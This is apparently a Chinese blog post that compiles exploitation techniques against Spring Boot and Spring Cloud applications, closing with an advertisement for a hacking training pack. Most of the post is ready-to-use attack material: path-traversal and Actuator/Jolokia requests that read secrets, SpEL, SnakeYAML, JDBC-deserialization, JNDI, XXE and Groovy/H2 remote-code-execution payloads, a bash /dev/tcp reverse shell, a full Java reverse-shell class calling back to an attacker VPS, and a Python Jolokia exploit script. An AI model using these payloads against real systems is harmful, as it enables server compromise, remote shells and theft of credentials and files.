Java之SpringBoot漏洞利用姿势合集总结详细版,从零基础到精通,收藏这篇就够了!

Spring 框架:你大爷永远是你大爷

Spring 框架,江湖人称 Java 界的瑞士军刀,功能那是相当强大,目标是提供一个高效且可扩展的开发环境。Spring 生态系统里有五大天王:Spring Framework、Spring Boot、Spring Cloud、Spring Security 和 Spring MVC

简单介绍一下:

Spring Framework核心骨架,提供了依赖注入(IoC)、面向切面编程(AOP)、数据访问和事务管理等神兵利器。

Spring MVC构建 Web 应用和 RESTful 服务的利器。DispatcherServlet、注解驱动、视图解析,三大特性让你轻松驾驭 Web 开发。

Spring Boot简化开发的火箭,基于 Spring Framework,自动配置、内嵌服务器、快速启动,让你告别繁琐配置。自动配置、内嵌 Tomcat、独立运行、Starter 依赖,四大金刚护体。

Spring Cloud微服务架构的翅膀,基于 Spring Boot,提供构建分布式系统和微服务的各种姿势。服务发现、负载均衡、配置管理、断路器、API 网关,微服务路上不再孤单。

Spring Security安全卫士,为 Spring 应用保驾护航,提供认证和授权功能。身份验证、访问控制、Web 安全保护,安全感爆棚。

它们之间的关系嘛,就像这样:

Spring Framework:地基,包含核心功能和 Spring MVC。

Spring MVC:Spring Framework 里的 Web 框架模块。

Spring Boot:站在 Spring Framework 的肩膀上,简化开发。

Spring Cloud:基于 Spring Boot,玩转微服务。

Spring Security:集成在 Spring Framework 中,负责安全。

Spring Boot Starter:解放你的双手

如果你觉得只是把 XML 配置换成 JavaConfig 配置就能减少工作量,那就 too young too simple 了。真正解放双手,还得感谢 Spring Boot Starter,它帮你完成了大量的配置工作,你只需要写一丢丢配置就行了。

Spring Boot 自动配置用到的注解:@SpringBootApplication@SpringBootConfiguration@ComponentScan@EnableAutoConfiguration@AutoConfigrationPackage@EnableConfigurationProperties

外部配置文件导入注解:@PropertySource

定时任务注解:@EnableScheduling@Scheduled@EnableAsync@Async

过滤器:@WebFilter@ServletComponentScan

拦截器:拦截你的所有请求。

监听器:监听你的所有事件。

校验器:@Validated,校验数据,保证安全。

异常处理:@ControllerAdvice@ExceptionHandler,统一处理异常。

自动加载原理:

Spring Boot 启动时,会去依赖的 starter 包中寻找 resources/META-INF/spring.factories 文件,然后根据文件里配置的 Jar 包去扫描项目依赖的 Jar 包,这有点像 Java 的 SPI 机制。SPI (Service Provider Interface),Java 内置的服务发现机制。

根据 spring.factories 配置加载 AutoConfigure 类。

根据 @Conditional 注解的条件,进行自动配置,并将 Bean 注入到 Spring Context 上下文里。

springboot-cve_2021_21234:文件包含漏洞

环境:vulfocus.cn,永远的神!

Spring Boot,Pivotal 团队的扛鼎之作,目标是简化 Spring 应用的搭建和开发过程。它用特定的方式进行配置,让开发者不再需要写那些重复的配置代码。Spring Boot 致力于成为快速应用开发领域的领导者。

这个漏洞是个文件包含漏洞,可以直接读取服务器上的文件。

漏洞 PoC:

/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../

修复方案:升级到 0.2.13,一劳永逸。

SpringCloud:微服务架构的瑞士军刀

Spring Cloud 基于 Spring Boot 构建,提供配置管理、服务注册与发现、智能路由等常用功能,帮你快速开发分布式系统。

一张图胜过千言万语,看这位大师傅画的图:

信息泄露漏洞:不小心暴露了秘密

这个漏洞主要是一些路由地址和接口的信息泄露,用 springscan 扫描一波:

/v2/api-docs:Swagger 文档,暴露 API 接口。

/swagger-ui.html:Swagger UI 界面,方便查看 API。

/env:获取环境变量信息,可能包含敏感信息。

/mappings:查看请求映射,暴露路由。

/metrics:应用指标,监控信息。

/beans:Spring Beans 信息。

/configprops:配置属性。

/actuator/metrics/actuator/mappings/actuator/beans/actuator/configprops:Actuator 端点,提供更详细的信息。

敏感信息明文获取:裤子都脱了,你给我看这个?

如果目标网站存在一些接口依赖 jolokia-cor,比如 /jolokia/actuator/jolokia,就可以尝试利用。

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法。

PoC:

// spring 1.x 版本
POST /jolokia
Content-Type: application/json

{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}

// spring 2.x 版本
POST /actuator/jolokia
Content-Type: application/json

{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}

远程代码执行:搞事情的来了

主要问题是 springboot 存在一些组件漏洞,总结如下:

Spring Boot whitelabel error page 远程命令执行:骚操作

漏洞原理:使用了 springboot 默认错误页,在处理参数值时使用了递归流程,进入到 PropertyPlaceholderHelper 类中,${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式解析执行,导致 RCE 漏洞。

漏洞文件:ErrorMvcAutoConfiguration.java

漏洞复现:测试网站是否存在 Whitelabel Error Page,通过 fuzz 一些参数值,比如 idsid,如果存在 500 报错,就可以测试 SpEL 表达式注入。

漏洞 PoC:

生成 16 进制的脚本:

input_string = "open -a Calculator"
hex_list = []

for ch in input_string:
    # 将字符转换为十六进制表示,并添加到列表中
    hex_list.append(f"0x{ord(ch):02x}")

hex_string = ', '.join(hex_list)
print(hex_string)

// 测试漏洞是否存在
${6*6} // 看是否有返回 36

// 执行 Calc 命令
${T(java.lang.Runtime).getRuntime().exec(newString(newbyte[]{0x63,0x61,0x6c,0x63}))}

spring cloud SnakeYAML 远程命令执行:一条蛇引发的血案

利用条件:通过查看是否存在 /env/actuator/env 泄露,请求是否存在 spring-boot-starter-actuator,目标主机可出网,且版本 小于 1.3.0.RELEASE

漏洞原理:Spring Cloud 配置通过 spring.cloud.bootstrap.location 指向恶意 YML 文件 URL,触发 refresh 请求该文件,利用 SnakeYAML 反序列化漏洞拉取恶意 JAR 并实例化其中的 javax.script.ScriptEngineFactory 实现类,导致远程代码执行(RCE)。

漏洞复现过程:

  1. vps 主机开放一个端口,上传一个 exp.yml 文件进行远程加载,写入恶意执行代码。

参考:https://github.com/artsploit/yaml-payload

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
  1. 设置 spring.cloud.bootstrap.location 属性。

构造 PoC 如下,分为 spring1.xspring2.x

// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://vps:port/exp.yml

// spring 2.x
POST /actuator/env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://vps:port/exp.yml
  1. 刷新配置 refresh

PoC 如下:

// spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded

// spring 2.x
POST /actuator/refresh
Content-Type: application/x-www-form-urlencoded

springboot mysql jdbc deserialization 远程代码执行:数据库也疯狂

简述:Java Database Connectivity (JDBC) 是 Java 中用于连接和执行数据库操作的 API。它提供了一组标准接口,使开发人员能够使用 Java 代码与各种关系数据库进行交互。

利用条件:访问 /env/actutar/env 接口,查询是否存在 mysql-connector-java 依赖。

进一步观察是否存在常见的反序列化 gadget 依赖,比如 commons-collectionsJdk7u21Jdk8u20 等,观察版本并记录,搜索关键词 spring.datasource.url,记录 value 值(方便恢复)。

漏洞利用:

根据属性条件进行修改调用 mysql jdbc,判断具体情况利用,未授权可能影响业务数据,流程如下。

不同版本 mysql-connector-java 5.xmysql-connector-java 8.x,PoC 如下:

// mysql-connector-java 5.x
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

// mysql-connector-java 8.x
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

同理判断是否存在 /env/actuator/env

// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

// spring 2.x
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

修改完成后进行刷新配置,再触发即可。

访问 /refresh/actuator/refresh 刷新配置,最后触发查询,访问 /product/list 去触发漏洞,如果没有则需要找其他数据库查询接口。

修复业务:需要还原 spring.datasource.urlvalue 值为初始的,以防损害业务!!

h2 database console JNDI 命令执行:内存数据库的逆袭

简述:H2 database 是一款 Java 内存数据库,多用于单元测试。H2 database 自带一个 Web 管理页面,在 Spring 开发中,如果我们设置如下选项,即可允许外部用户访问 Web 管理页面,且没有鉴权。

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用条件:

存在下述界面:访问 /h2-console

漏洞利用:

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

  1. 下载后放入 vps 中加载,运行命令如下,注意这里版本需要 java8 环境。
// 执行:bash -i >& /dev/tcp/VPS/1234 0>&1 的 Base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,反弹shell的base64}|{base64,-d}|{bash,-i}' -A VPS
  1. 开启 vps 监听端口 3333

选择生成的 url links,这里用 rmi地址

监听端口成功反弹 shell!

jolokia logback JNDI 命令执行:JMX 的 HTTP 接口

简介:Jolokia 是一款开源产品,用于为 JMX(Java Management Extensions)技术提供 HTTP API 接口。其中,该产品提供了一个 API,用于调用在服务器上注册的 MBean 并读/写其属性。JMX 技术用于管理和监视设备、应用程序和网络驱动的服务。

利用条件:看网站是否泄露 /jolokia/actuator/jolokia 接口,进一步看目标是否使用 jolokia-core 依赖,判断是否出网,漏洞利用是 JDNI 注入,版本限制为:jdk < 6u201/7u191/8u182/11.0.1(LDAP)。

漏洞利用:

访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic,也就是 logback 库下的 reloadByURL 可以造成 JNDI 注入。

步骤流程如下:

  1. vps 上放入 xml文件 进行加载,内容如下:
// 文件内容如下
<configuration>
  <insertFromJNDI env-entry-name="ldap://VPS:1389/JNDIObject" as="appName" />
</configuration>
  1. 编写用来反弹 shell 的代码 JNDIObject.java
/** 运行
 *   javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *   Build By LandGrey
 */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject{
    static{
        try{
            String ip ="your-vps-ip";
            String port ="3333";//反弹shell端口
            String py_path =null;
            String[] cmd;
            if(!System.getProperty("os.name").toLowerCase().contains("windows")){
                String[] py_envs =new String[]{"/bin/python","/bin/python3","/usr/bin/python","/usr/bin/python3","/usr/local/bin/python","/usr/local/bin/python3"};
                for(int i =0; i < py_envs.length;++i){
                    String py = py_envs[i];
                    if((new File(py)).exists()){
                        py_path = py;
                        break;
                    }
                }
                if(py_path !=null){
                    if((new File("/bin/bash")).exists()){
                        cmd =new String[]{py_path,"-c","import pty;pty.spawn("/bin/bash")"};
                    }else{
                        cmd =new String[]{py_path,"-c","import pty;pty.spawn("/bin/sh")"};
                    }
                }else{
                    if((new File("/bin/bash")).exists()){
                        cmd =new String[]{"/bin/bash"};
                    }else{
                        cmd =new String[]{"/bin/sh"};
                    }
                }
            }else{
                cmd =new String[]{"cmd.exe"};
            }
            Process p =(new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s =new Socket(ip,Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()){
                while(pi.available()>0){
                    so.write(pi.read());
                }
                while(pe.available()>0){
                    so.write(pe.read());
                }
                while(si.available()>0){
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try{
                    p.exitValue();
                    break;
                }catch(Exception e){
                }
            }
            p.destroy();
            s.close();
        }catch(Throwable e){
            e.printStackTrace();
        }
    }
}

这里需要用低版本 兼容运行

javac -source 1.5 -target 1.5 JNDIObject.java
// 生成 JNDIObject.class 拷贝到 vps 根目录
  1. 开启恶意的 ldap 服务:

利用项目:https://github.com/mbechler/marshalsec,命令如下:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS:port/#JNDIObject 1389

监听反弹 shell 端口 3333

  1. 从外部进行远程加载 日志配置文件 从而 RCE

访问地址如下:

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps:port!/example.xml

jolokia Realm JNDI 命令执行:Tomcat 的后门

利用条件和上面差不多,访问接口 /jolokia/actuator/jolokia

漏洞利用:

流程如下:访问 /actuator/jolokia/list 路由搜索 logbackreloadByURL,发现目标未启用 logback 组件。在 jolokia-realm-jndi-rce 中使用 marshalsec-0.0.3-SNAPSHOT-all.jar 来进行 JNDI 注入,依赖于目标使用的 JDK 版本,对于 OracleJDK11.0.1、8u191、7u201、6u211 或者更高版本的 JDK, 限制加载远程 codebase.

  1. 访问 /jolokia/list 接口,查看是否存在 type=MBeanFactorycreateJNDIRealm 关键词,编写用来反弹 shell 的代码 JNDIObject.java,将编译好的 class 文件放到网站根目录。
javac -source 1.5 -target 1.5 JNDIObject.java
  1. 利用 marshalsec 开启恶意的 rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:port/#JNDIObject 1389
  1. 开启监听端口 3333,调用进行加载触发,利用 exp 如下:
#!/usr/bin/env python3
import requests

url ='http://地址/jolokia'

create_realm = {
    "mbean":"Tomcat:type=MBeanFactory",
    "type":"EXEC",
    "operation":"createJNDIRealm",
    "arguments":["Tomcat:type=Engine"]
}

wirte_factory = {
    "mbean":"Tomcat:realmPath=/realm0,type=Realm",
    "type":"WRITE",
    "attribute":"contextFactory",
    "value":"com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    "mbean":"Tomcat:realmPath=/realm0,type=Realm",
    "type":"WRITE",
    "attribute":"connectionURL",
    "value":"rmi://your-vps-ip:1389/JNDIObject"
}

stop = {
    "mbean":"Tomcat:realmPath=/realm0,type=Realm",
    "type":"EXEC",
    "operation":"stop",
    "arguments":[]
}

start = {
    "mbean":"Tomcat:realmPath=/realm0,type=Realm",
    "type":"EXEC",
    "operation":"start",
    "arguments":[]
}

flow =[create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...'%(i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
print(r.status_code)

命令:python3 exp.py

jolokia XXE 任意文件读取:XML 注入

源码复现:git clone [https://github.com/veracode-research/actuator-testbed.git](https://github.com/veracode-research/actuator-testbed.git)

影响版本:Spring Boot 2.x

漏洞原因:该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。对于此漏洞,Spring boot 会把 / 解析成 /,导致可以部署 xml 脚本进行远程加载解析。

漏洞条件:

访问 /jolokia/list 接口,在页面搜索 logback,查看是否存在 logback 库提供的 reloadByURL 方法,根据响应页面存在 logback 库提供的 reloadByURL 方法。

漏洞复现:

  1. vps 上创建 logback.xml,内容如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps:4444/xxe.dtd">%remote;%int;]>
<a>&trick;</a>
  1. 创建一个外部实体文件 xxe.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
  1. vps 开启监听端口 4444 进行请求远程文件 logback.xml,加载 dtd 文件触发 文件读取漏洞poc 如下:

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/VPSIP地址!/logback.xml

SpringBoot Actuator之restart logging.config grovvy命令执行:Groovy 脚本的诱惑

第一种:

简述:根据 springboot 相关文档说明:可通过 Spring 环境属性 logging.config 进一步设置配置文件的位置。

利用条件:存在 /actuator/restart 接口,存在 groovy依赖

漏洞利用:关键代码在 org.springframework.boot.context.logging.LoggingApplicationListener#initialize() 方法中,logback-classic 组 件的 ch.qos.logback.classic.util.ContextInitializer.java 代码文件逻辑中会判断 url 是否以 groovy 结尾

漏洞复现:

  1. 远程加载 .groovy 文件,这里写入一个 exp.groovy
// VPS 写入一个命令执行函数
Runtime.getRuntime().exec("open -a Calculator")
Runtime.getRuntime().exec("calc")

python -m http.server 1234
  1. 设置 logging.config 属性,poc 如下:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://vps:port/exp.groovy

// spring 2.x
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://vps:port/exp.groovy"}
  1. 最后访问 /restart/actuator/restart 重新应用即可加载命令执行。

注意此操作会重启业务运行,请授权测试

另一种姿势:restart spring.main.sources groovy 命令执行,同理也是需要 groovy依赖poc 如下:

// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://vps:port/exp.groovy

// spring 2.x
POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://vps:port/exp.groovy"}

然后重启等待加载即可,最终是正常访问 /actuator/env 接口的。

SpringBoot Actuator之restart logback JNDI 命令执行:JNDI 注入的魅力

利用条件:JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,存在 /env/restart 接口。

spring actuator 1.x 开启 restart 需要配置: endpoints.restart.enabled=true spring actuator

spring actuator 2.x 开启 restart 需要配置: management.endpoint.restart.enabled=true

漏洞复现:

  1. 在根目录创建一个 xml文件,通过远程去加载 exp.xml
// 这里 base64 为命令执行语句
<configuration>
  <insertFromJNDI env-entry-name="ldap://vvps:1389/TomcatBypass/Command/Base64/Y2FsYw==" as="appName" />
</configuration>
  1. vps 上开启 ldap 服务并启动:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
  1. 请求 /env 去设置 logging.config 属性:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://vps:port/exp.xml

// spring 2.x
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://vps:ip/exp.xml"}
  1. 最后访问 /restart/actuator/restart 重启即可。

提:如果说存在相关 tomcat 版本的话,也可以用 javax.el.ELProcessor 作为 Reference Factory 来绕过高版本 JDK 的限制。

SpringBoot Actuator之restart logging.config grovvy命令执行:H2 Database 的骚操作

利用条件:需要存在 /env/restart 接口,环境需要存在 h2databasespring-boot-starter-data-jpa 相关依赖,返回 错误的 h2 sql语法

漏洞利用:

  1. vps 上进行存放 .sql 文件进行远程加载,内容如下:
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','calc');
  1. 设置 spring.datasource.data 属性:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://vps:port/exp.sql

// spring 2.x
POST /actuator/env
Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://vps:port/exp.sql
  1. 最终重启应用即可,访问 /restart/actutar/restart 接口。

结:闲暇之余,学习总结一下 springboot 相关知识,路漫漫其修远兮,如若有误,欢迎师傅指出。

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值